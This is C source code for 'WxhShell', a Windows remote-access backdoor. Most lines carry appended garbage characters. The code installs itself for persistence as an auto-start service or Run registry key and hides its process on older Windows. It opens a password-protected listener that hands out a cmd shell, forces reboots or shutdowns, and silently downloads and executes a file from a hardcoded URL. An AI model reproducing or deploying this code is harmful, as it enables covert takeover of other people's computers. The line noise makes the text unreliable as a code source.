    else { x1a:u  
    closesocket(wsh); Gw` L"  
    ExitThread(0); ~#/  
    } 05R@7[GWq  
    break; EM_d8o)`B  
    } Wn6Sn{8W{  
  // 获取shell MK*r+xfSae  
  case 's': { {8etv:y  
    CmdShell(wsh); Ort(AfW  
    closesocket(wsh); OrW  
    ExitThread(0); \7_y%HR  
    break; n"8Yv~v*2j  
  } {..6>fS  
  // 退出 n{jGOfc  
  case 'x': { D+c>F5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jWgX_//!  
    CloseIt(wsh); {{1G`;|v 9  
    break; ?A0)L27UE&  
    } fV~~J2IK  
  // 离开 .Y|!:t|  
  case 'q': { ]@TCk8d$0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UZ";a453r  
    closesocket(wsh); y>LBl]  
    WSACleanup(); 8,|kao:  
    exit(1); bd`P0f?  
    break; MOC/KNb  
        } R-14=|7a-  
  } j1Ezf=N6`  
  } NlXimq  
a.Vuu)+Quw  
  // 提示信息 c",*h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [B3RfCV{  
} (% 9$!v{3  
  } ,u m|1dh  
( 5~h"s  
  return; lxi<F  
} HT@=evV  
P~dcW  
// shell模块句柄 *ui</+  
int CmdShell(SOCKET sock) d5d@k  
{ ?ubro0F:  
STARTUPINFO si; 2SLU:=<3  
ZeroMemory(&si,sizeof(si)); X?Au/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >dT*rH3w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (.,G=\!  
PROCESS_INFORMATION ProcessInfo; pk~WrqK}  
char cmdline[]="cmd"; z{>Rc"%\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $xQL]FmS  
  return 0; +[P{&\d4}  
} %znc##j)q  
Ss`LLq0LO  
// 自身启动模式 ]f3>-)$*  
int StartFromService(void) r*Xuj=  
{ |hQ;l|SWg  
typedef struct ~ K=b\xc^  
{ v>56~AJ  
  DWORD ExitStatus; <vP=zk  
  DWORD PebBaseAddress; r :dTz  
  DWORD AffinityMask; gFh*eCo   
  DWORD BasePriority; 3a|\dav%  
  ULONG UniqueProcessId; cZ06Kx..  
  ULONG InheritedFromUniqueProcessId; 3o qHGA:}  
}   PROCESS_BASIC_INFORMATION; ZB{EmB0W  
DI%saw  
PROCNTQSIP NtQueryInformationProcess; YK\X+"lB  
ctUp=po  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `x|?&Ytmf9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  @8 6f  
t^L]/$q  
  HANDLE             hProcess; j#6.Gq  
  PROCESS_BASIC_INFORMATION pbi; 0aAoV0fMDz  
'VbiVLWD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lr<cMK<  
  if(NULL == hInst ) return 0; W4N{S.#!  
u&NV,6Fj2[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q20 %"&Xp]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6wxs1G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M`>E|" <  
+d>IHpt  
  if (!NtQueryInformationProcess) return 0; Lv%x81]K  
z:;CX@)*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :%.D78&  
  if(!hProcess) return 0; l ,8##7  
Vc2`b3"Br  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nK,w]{<wG!  
PM+[,H  
  CloseHandle(hProcess); >/|*DI-HJ  
*or(1DXP8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %LV9=!w  
if(hProcess==NULL) return 0; '%D7C=;^  
pFXEu= $3  
HMODULE hMod; xwr8`?]y  
char procName[255]; yw!{MO  
unsigned long cbNeeded; 9UkBwS`  
99S ^f:t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,'+kBZOv  
. ^u,.  
  CloseHandle(hProcess); z}@7'_iJ  
]q.0!lh+WL  
if(strstr(procName,"services")) return 1; // 以服务启动 ?0SEMmp`H  
xmX 4qtAL  
  return 0; // 注册表启动 sRW<me;  
} O}P`P'Y|'  
hc1N ~$3!G  
// 主模块 Rv=YFo[B  
int StartWxhshell(LPSTR lpCmdLine) yr6V3],Tp  
{ <[phnU^ 8  
  SOCKET wsl; H[gWGbPq7  
BOOL val=TRUE; AdmC&!nH  
  int port=0; -12U4h<e  
  struct sockaddr_in door; y2v^-q3  
TV:9bn?r)  
  if(wscfg.ws_autoins) Install(); 4W])}C %  
;j7#7MN2_E  
port=atoi(lpCmdLine); DqPw#<"H  
dveiQ  
if(port<=0) port=wscfg.ws_port; ~@!bsLSMU  
&L:!VL{I  
  WSADATA data; %C0Dw\A*:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @7u0v  
>usL*b0%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [RL9>n8f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,I9bNO,%JK  
  door.sin_family = AF_INET; 7nSxi+6e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); so; ]&  
  door.sin_port = htons(port); 9^x> 3Bo  
<$YlH@;)`a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i@q&5;%%  
closesocket(wsl); #z(]xI)"  
return 1; Fcx&hj1gQ  
} [KQi.u  
jd: 6:Fm  
  if(listen(wsl,2) == INVALID_SOCKET) { TH;hO).u  
closesocket(wsl); h{Y",7] !  
return 1; By |4 m  
} Xvu(vA  
  Wxhshell(wsl); COlqcq'qAu  
  WSACleanup(); 1M6D3d_  
as|<}:V  
return 0; W1~0_;  
:;}P*T*PU  
} 4s- !7  
la!~\wpa  
// 以NT服务方式启动 G{}VPcrbC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RZLq]8pM  
{ P:c w|Q  
DWORD   status = 0; tmq OJ  
  DWORD   specificError = 0xfffffff; /m1\iM\  
#mdc[.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [y(MCf19  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; js(pC@<q5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Et$2Y-L.  
  serviceStatus.dwWin32ExitCode     = 0; j#|ZP-=1_  
  serviceStatus.dwServiceSpecificExitCode = 0; |Cv!,]9:r  
  serviceStatus.dwCheckPoint       = 0; @d'j zs  
  serviceStatus.dwWaitHint       = 0; /^ts9:  
7!1S)dup  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <'u'#E@"sl  
  if (hServiceStatusHandle==0) return; m O_af  
y29m/i:  
status = GetLastError(); #a#F,ZT  
  if (status!=NO_ERROR) {7[Ox<Ho  
{ -7ep{p-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F9PxSk_\9  
    serviceStatus.dwCheckPoint       = 0; 9up3[F$  
    serviceStatus.dwWaitHint       = 0; llq<egZpm  
    serviceStatus.dwWin32ExitCode     = status; 1 MFbQs^  
    serviceStatus.dwServiceSpecificExitCode = specificError; &ZO0r ^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6ujW Nf  
    return; OUnA;_  
  } 4W75T2q#  
pglVR </  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /vt3>d%B;  
  serviceStatus.dwCheckPoint       = 0; 43cE`9~  
  serviceStatus.dwWaitHint       = 0; W9&=xs6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0GLM(JmK  
} l1I#QB@5n  
@7 }W=HB  
// 处理NT服务事件,比如:启动、停止 %d @z39-;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?,/ }`3Vw  
{ F|8 &  
switch(fdwControl) jXJyc'm7  
{ 8ag!K*\ V<  
case SERVICE_CONTROL_STOP: sO Y:e/_F  
  serviceStatus.dwWin32ExitCode = 0; bA 2pbjg=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i b m4fa  
  serviceStatus.dwCheckPoint   = 0; rv;3~'V  
  serviceStatus.dwWaitHint     = 0; Jm@oDME_E  
  { , gHDx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); st*gs-8jJ;  
  } YSMAd-Ef-  
  return; cQ|NJ_F{1  
case SERVICE_CONTROL_PAUSE: ]e3Ax(i)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e20-h3h+  
  break; %<5'=t'|-U  
case SERVICE_CONTROL_CONTINUE: iU-j"&L5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7)m9"InDI  
  break; al0L&z\  
case SERVICE_CONTROL_INTERROGATE: d9ihhqq3}  
  break; M5B# TAybC  
}; =N@t'fOr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CTK;dM'uQ  
} INf&4!&h  
GbyJ:  
// 标准应用程序主函数 6@f-Glwg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ysN3  
{ p_ =z#  
Tw% 3p=  
// 获取操作系统版本 E^PB)D(.  
OsIsNt=GetOsVer(); a.'*G6~Qgw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QJNFA}*>  
B!yr!DWv  
  // 从命令行安装 X]=t>   
  if(strpbrk(lpCmdLine,"iI")) Install(); <i[HbgUlO.  
VQI 3G  
  // 下载执行文件 NI5``BwpO  
if(wscfg.ws_downexe) { )[  ,A_3E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v=k$A  
  WinExec(wscfg.ws_filenam,SW_HIDE); -di o5a  
} !wNO8;(  
e )ZUO_Q$  
if(!OsIsNt) { +(*DT9s+  
// 如果时win9x,隐藏进程并且设置为注册表启动 DlT{`  
HideProc(); ?upM>69{  
StartWxhshell(lpCmdLine); kT?J5u _o  
} A >$I -T+  
else P2!C|SLK  
  if(StartFromService()) /(T?j!nPE  
  // 以服务方式启动 /xQPTT  
  StartServiceCtrlDispatcher(DispatchTable); WHI`/FM  
else 4YHY7J  
  // 普通方式启动 p'fYULYE  
  StartWxhshell(lpCmdLine); HDKbF/  
F?cK- .  
return 0; +#By*;BJ  
} *H122njH+T  
h~26WLf.  
aT<q=DO  
M;NX:mX9  
=========================================== jal-9NV)!  
9kojLqCT  
q=G+Tocv  
V1?]|HTQcT  
Ah<+y\C  
-+5>|N#  
" xpI wrJO  
.o8t+X'G  
#include <stdio.h> @KA4N`  
#include <string.h> IAEAhqp  
#include <windows.h> 2Hdu:"j  
#include <winsock2.h> :!/8 Hv  
#include <winsvc.h> DJ%PWlK5  
#include <urlmon.h> B:QHwzd  
kl,3IKHa  
#pragma comment (lib, "Ws2_32.lib") a6H%5N  
#pragma comment (lib, "urlmon.lib") 6,uX,X5  
|M_UQQAB|  
#define MAX_USER   100 // 最大客户端连接数 4sM.C9W  
#define BUF_SOCK   200 // sock buffer + )?J#g  
#define KEY_BUFF   255 // 输入 buffer ?}7p"3j'z  
q9NoI(]e  
#define REBOOT     0   // 重启 7 ?t6UPf  
#define SHUTDOWN   1   // 关机 _rYkis^ u  
Wvqhl 'J  
#define DEF_PORT   5000 // 监听端口 <ih[TtZ  
Gc!x|V;T  
#define REG_LEN     16   // 注册表键长度 8X0z~ &  
#define SVC_LEN     80   // NT服务名长度 80;(Gt@<"  
c)tfAD(N8x  
// 从dll定义API \?N2=jsu$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XUw/2"D'?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G\?YK.Y>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #[a*rD%m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5-G@L?~Vw  
!Uc T RI  
// wxhshell配置信息 go"Hf_  
struct WSCFG { d[35d J7F  
  int ws_port;         // 监听端口 tl].r|yl  
  char ws_passstr[REG_LEN]; // 口令  bF(f*u  
  int ws_autoins;       // 安装标记, 1=yes 0=no frQ{iUx  
  char ws_regname[REG_LEN]; // 注册表键名 \L\b$4$d  
  char ws_svcname[REG_LEN]; // 服务名 D0q ":WvE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j5ve2LiFV%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  *,m;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]7mt[2 Cd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @K]|K]cby  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9K&:V(gmw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HKr Mim-  
'=6\v!  
}; _l]fkk[T  
PuO&wI]:  
// default Wxhshell configuration Gbw2E&a  
struct WSCFG wscfg={DEF_PORT, 2Gdd*=4z  
    "xuhuanlingzhe", :hV7> rr  
    1, TU7' J  
    "Wxhshell", ?rup/4|  
    "Wxhshell", 'eX '  
            "WxhShell Service", -GgA&dh  
    "Wrsky Windows CmdShell Service", JLJ;TM'4=  
    "Please Input Your Password: ", &f;K}W O  
  1, M xG W(p  
  "http://www.wrsky.com/wxhshell.exe", Ki~1qu:  
  "Wxhshell.exe" 6_ow%Rx~F  
    }; I9Fr5p-%O  
!3v1bGk  
// 消息定义模块 So 5N5,u@=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  {>%&(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [=_jYzD,j|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W,-g=6,  
char *msg_ws_ext="\n\rExit."; Z`BK/:vo3H  
char *msg_ws_end="\n\rQuit."; t.'!`5G  
char *msg_ws_boot="\n\rReboot..."; I0 RvnMw  
char *msg_ws_poff="\n\rShutdown..."; :Lug7bUVD  
char *msg_ws_down="\n\rSave to "; +t:0SRSt  
pO.2<  
char *msg_ws_err="\n\rErr!"; kE(mVyLQ  
char *msg_ws_ok="\n\rOK!"; gl_^V&c  
lu6(C  
char ExeFile[MAX_PATH]; zkdetrR  
int nUser = 0; ^<-+@v*  
HANDLE handles[MAX_USER]; )tnh4WMh}  
int OsIsNt; qcGK2Qx  
F.v{-8GV  
SERVICE_STATUS       serviceStatus; K!]/(V(}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @oad,=R&  
0,8okA H  
// 函数声明 m<g~H4  
int Install(void);  bnLPlf  
int Uninstall(void); c\V7i#u[d;  
int DownloadFile(char *sURL, SOCKET wsh); bD8Gwi=iiu  
int Boot(int flag); P}G+4Sk  
void HideProc(void); 0k(a VkZ I  
int GetOsVer(void); $"&{aa  
int Wxhshell(SOCKET wsl); b,%C{mC  
void TalkWithClient(void *cs); ohGfp9H  
int CmdShell(SOCKET sock); 9pxc~=  
int StartFromService(void); Ezv Y"T@  
int StartWxhshell(LPSTR lpCmdLine); }I6vqG  
QZ%`/\(!8_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q\527^ZM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *GN# r11d  
v2;`f+  
// 数据结构和表定义 Q({ r@*g  
SERVICE_TABLE_ENTRY DispatchTable[] = g^ i&gNDx  
{ R#8L\1l  
{wscfg.ws_svcname, NTServiceMain}, \A6B,|@  
{NULL, NULL} _M5|Y@XN-  
}; 3J438M.ka  
1s@+;QUib  
// 自我安装 JOim3(5?s  
int Install(void) c#tjp(-  
{ f[^Aw(o  
  char svExeFile[MAX_PATH]; ?vHU #  
  HKEY key; -n<pPau2  
  strcpy(svExeFile,ExeFile); Jl9k``r*  
:7?FF'u  
// 如果是win9x系统,修改注册表设为自启动 df#$ 9 -  
if(!OsIsNt) { j;iAD:nf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YNj`W1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4J([6<  
  RegCloseKey(key); pK'V9fD5J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @w!PaP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^7KH _t8  
  RegCloseKey(key); l9u!aD  
  return 0; ?r2` Q  
    } z4]api(xZ  
  } fG(SNNl+D  
} ]Y8<`;8/  
else { zXxT%ZcCj  
B[-v[K2  
// 如果是NT以上系统,安装为系统服务 z}ddqZ27G$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SHo$9+  
if (schSCManager!=0) 7 uKY24  
{ >!1.  
  SC_HANDLE schService = CreateService xzZ38xIhV  
  ( s;vHPUB\n  
  schSCManager, FXN/Yq  
  wscfg.ws_svcname, A_5P/ARmI  
  wscfg.ws_svcdisp, 0C6-GKbZ  
  SERVICE_ALL_ACCESS, "z=SO1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , % pd,%pg  
  SERVICE_AUTO_START, &&:Y Vd  
  SERVICE_ERROR_NORMAL, D"?fn<2  
  svExeFile, Pjjewy1}^  
  NULL, i||]V*5n  
  NULL, }$Tl ?BRpU  
  NULL, ],a5)kV  
  NULL, 'd$P`Vw:  
  NULL B1C-J/J  
  ); %)I{%~u0  
  if (schService!=0) H>B&|BO_[  
  { g^{@'}$  
  CloseServiceHandle(schService); (HE9V]  
  CloseServiceHandle(schSCManager); }h!f eP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v,{yU\)  
  strcat(svExeFile,wscfg.ws_svcname); A.F738Zp{Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?D*/*Gk{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n}G|/v<  
  RegCloseKey(key); uIZ-#q  
  return 0; X_|J@5b7  
    } Ksj -zR;  
  } k!HK 97qA  
  CloseServiceHandle(schSCManager); ]? g@jRs  
} _FVcx7l!u  
} $?<Z!*x  
vchm"p?9)  
return 1; qHrA%k^!2O  
} Md2>3-  
(Dl$kGn  
// 自我卸载 E}p&2P+MR  
int Uninstall(void) K3;nY}\>  
{ 87P>IO  
  HKEY key; ^T$|J;I  
/bi[ e9R  
if(!OsIsNt) { *q".-u!D[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `-l6S  
  RegDeleteValue(key,wscfg.ws_regname); 4V COKx  
  RegCloseKey(key); OJ$]V,Z00x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?$^2Umt 0  
  RegDeleteValue(key,wscfg.ws_regname); G <f@#[$'  
  RegCloseKey(key); `[)YEg s  
  return 0; FCuB\ Q  
  } %$ Z7x\_  
} %_L\z*+  
} I`LuRl w  
else { [[Fx[  
lBTmx(_}}r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6&l+0dq  
if (schSCManager!=0) X+}1  
{ k_q0Q;6w!l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  }'/`2!lY  
  if (schService!=0) ^[XYFQTL  
  { *c*0PdV  
  if(DeleteService(schService)!=0) { ?zVL;gVWA  
  CloseServiceHandle(schService); wl$h4 {L7  
  CloseServiceHandle(schSCManager); b7tOo7aH)  
  return 0; "zFNg';  
  } [uls8 "^/j  
  CloseServiceHandle(schService); d'$T4yA  
  } &PK\|\\2  
  CloseServiceHandle(schSCManager); [E JQ>?D  
} \z7SkZt,GT  
} h{p=WWK  
a@*S+3  
return 1; *nsAgGKKM^  
} }S$@ Ez6  
D] ~MC  
// 从指定url下载文件 4NG?_D5&  
int DownloadFile(char *sURL, SOCKET wsh) :WL'cJ9a  
{ :!b'Vk  
  HRESULT hr; F[[TWf/  
char seps[]= "/"; (RZD'U/B  
char *token; .j>hI="b  
char *file; @kU@N?5e  
char myURL[MAX_PATH]; m"jV}@agX  
char myFILE[MAX_PATH]; +d!v}aJ  
/BV03B  
strcpy(myURL,sURL); mAW, ?h  
  token=strtok(myURL,seps); ?Ovqp-sw  
  while(token!=NULL) e=;AfK  
  { /3:q#2'v  
    file=token; '@CR\5 @  
  token=strtok(NULL,seps); e-*.Ca  
  } *`Yv.=cd  
jSuL5|Gui  
GetCurrentDirectory(MAX_PATH,myFILE); JPWOPB'H  
strcat(myFILE, "\\"); w{90`  
strcat(myFILE, file); nn9wdt@.]  
  send(wsh,myFILE,strlen(myFILE),0); 6 ]pX>Xho  
send(wsh,"...",3,0); f'{]"^e=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R% ,<\d7  
  if(hr==S_OK) ]mXLg:3B  
return 0; BC;:  
else 'fNKlPMv4D  
return 1; tP%{P"g3^  
P#/HTu5q7  
} *[R eb %  
^ Dt#$Z  
// 系统电源模块 2'<[7!  
int Boot(int flag) 9{8GP  
{ +@K09ge  
  HANDLE hToken; ?8mlZ X9C  
  TOKEN_PRIVILEGES tkp; WJ9 cZL  
{]]|5 \F  
  if(OsIsNt) { P7f,OY<@%o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "y<?Q}1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FSb Hn{@  
    tkp.PrivilegeCount = 1; -tI'3oT1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;kJA'|GX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $<|l E/_]  
if(flag==REBOOT) { PeE/iZ.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I]y.8~xs  
  return 0; AkT<2H|4  
} U"4?9. k  
else { Wt9Q;hK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k') E/n  
  return 0; 4~OQhiJ   
} \S)2  
  } I;?X f  
  else { [ dE.[  
if(flag==REBOOT) { F[!ckes<bB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kY&h~Q  
  return 0; oejfU;+$  
} EK$Kee}~  
else { FHPXu59u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y05P'Q  
  return 0; W Qc>  
} '2-oh  
} |J~eLh[d  
DK&h eVIoZ  
return 1; Y}DonF  
} 92'wkS  
nD2, !71  
// win9x进程隐藏模块 N=)z  
void HideProc(void) :p4"IeKs  
{ 35*\_9/#  
'snYu!`z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1]T`n/d V  
  if ( hKernel != NULL ) HOp-P8z  
  { Jj^GWZRu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oQj=;[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T^}  
    FreeLibrary(hKernel); D8# on!  
  } p=QYc)3F  
jUqy8q&  
return; M'1!<a-Mp  
} ^5t  
^SfS~G Q  
// 获取操作系统版本 9(!]NNf!  
int GetOsVer(void) ?oiKVL"7  
{ k 2%S`/:  
  OSVERSIONINFO winfo; H_IGFZCh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %:qoV0DR  
  GetVersionEx(&winfo); BXUF^Hj%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =qvZpB7ZZ  
  return 1; qOG}[%<^n7  
  else gK3Mms]}m  
  return 0; r++i=SQax  
} s-V SH  
G;oFTP>o  
// 客户端句柄模块 ?&l)W~S  
int Wxhshell(SOCKET wsl) ~tGCLf]c\  
{ cub <G!K  
  SOCKET wsh; .#5l$['  
  struct sockaddr_in client; i3 )xX@3  
  DWORD myID; W%!@QY;E(  
396R$\q  
  while(nUser<MAX_USER) _hCJ|Rrln  
{ u&TdWZe  
  int nSize=sizeof(client); 3An(jt$%Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BZ F,=v  
  if(wsh==INVALID_SOCKET) return 1; `HX3|w6W;  
cQFR]i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); px9>:t[P  
if(handles[nUser]==0) |Zq\GA  
  closesocket(wsh); oVB"f  
else I/UQ'xx  
  nUser++; M'1HA  
  } %TK&)Q% h5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =V^@%YIn  
s=EiH  
  return 0; @5}gsC  
} Z-|li}lDr  
Wtv#h~jy9  
// 关闭 socket T0FZ7  
void CloseIt(SOCKET wsh) pX<a2F P  
{ @%@zH%b  
closesocket(wsh); Xi~9&ed#$i  
nUser--; Gz dgL"M[  
ExitThread(0); Qm);6X   
} =2oUZjA  
f:%SW  
// 客户端请求句柄 DA LQ<iF  
void TalkWithClient(void *cs) & QY#3yj=  
{ =[(1my7  
.u< U:*  
  SOCKET wsh=(SOCKET)cs; _@ i>s,  
  char pwd[SVC_LEN]; |@`"F5@,  
  char cmd[KEY_BUFF]; 0MpS4tW0=  
char chr[1]; w6EI{  
int i,j;  0:dB 9  
~Ob8i1S>  
  while (nUser < MAX_USER) { .k]#XoE  
Jqg3.2q  
if(wscfg.ws_passstr) { dB`b9)Tk0z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A ^B@VuK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `)tK^[,<W  
  //ZeroMemory(pwd,KEY_BUFF); _ +KmNfR  
      i=0; >RR<eYu7m  
  while(i<SVC_LEN) { b|E/LKa  
caD5Pod4  
  // 设置超时 B+D`\Nlo  
  fd_set FdRead; W#45a.v  
  struct timeval TimeOut; ^W['A]l  
  FD_ZERO(&FdRead); *o|p)lH  
  FD_SET(wsh,&FdRead); @9_)On9hZ  
  TimeOut.tv_sec=8; FT_k^CC  
  TimeOut.tv_usec=0; q)Je.6$#X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |+/$ g.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fNEz  
`Xqy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' PL_~  
  pwd=chr[0]; Th+|*=Il  
  if(chr[0]==0xd || chr[0]==0xa) { kv%)K'fU4  
  pwd=0; s=\7)n=,M  
  break; 4[H,3}p9H  
  } {Pvr??"r  
  i++; !47A$sQ  
    } ;@'0T4Z&l  
) ]]|d  
  // 如果是非法用户,关闭 socket ={xqNRVd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A[RN-R,  
} 5@.zz"o.`  
7 NUenCdc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dtt\~m;AR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dAwS<5!  
Ei|0L$NCg  
while(1) { !pV<n  
;;6\q!7`  
  ZeroMemory(cmd,KEY_BUFF); R]VTV7D  
;y ,NC2Xj  
      // 自动支持客户端 telnet标准   YrKFa%k  
  j=0; |N6mTB2  
  while(j<KEY_BUFF) { 9 G((wiE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KY 8^BjY@  
  cmd[j]=chr[0]; @6[x%j/!bt  
  if(chr[0]==0xa || chr[0]==0xd) { AYYRxhv_,  
  cmd[j]=0; V!}L<cN  
  break; 1+FYjh!2t  
  } >T(M0Tkt  
  j++; U!_sh<  
    } =yo=q)W  
(S3jZ  
  // 下载文件 \c FAxL(  
  if(strstr(cmd,"http://")) { TR|;,A[%v#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lWIv(%/@  
  if(DownloadFile(cmd,wsh)) )e#fj+>x)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Wr\D Vp  
  else ]P JH'=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d[yrNB6|  
  } a{5H33JA  
  else { M2a}x+5'  
[6oq##  
    switch(cmd[0]) { |F3vRt@  
  jDFp31_X  
  // 帮助 f*UBigk  
  case '?': { Mi_[9ku>%  
